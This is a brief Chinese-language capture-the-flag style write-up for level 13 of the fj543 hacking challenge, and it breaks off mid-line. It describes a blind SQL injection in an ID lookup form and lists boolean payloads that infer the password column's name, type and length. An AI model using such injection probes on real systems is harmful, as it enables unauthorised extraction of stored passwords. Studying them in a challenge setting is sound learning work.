fj543-第13关

第13关地址：http://www.fj543.com/hack/?level=13sql

根据提示，访问：http://www.fj543.com/hack/13sql.asp

看起来是一个可以调用到SQL的输入框。

很自然的……这个接口是有注入漏洞的，它能反馈出3种状态。
1、没有找到此ID对应的内容。(Nothing found)
2、数据库中有这条信息,但我不能直接告诉你密码。(The data exists.But I can't show you the password)
3、网页出错。请与系统管理员联系。

 

猜测密码字段名：
0 or password is not null（出错）
0 or pwd is not null（有数据）
密码字段名为pwd。

猜测字段类型：
0 or pwd <> 0（出错）
0 or pwd <> ''（有数据）
pwd字段名为字符串。

 

猜测字段长度（大概用的是MSSQL数据库）：
514 and len(pwd) > 6（无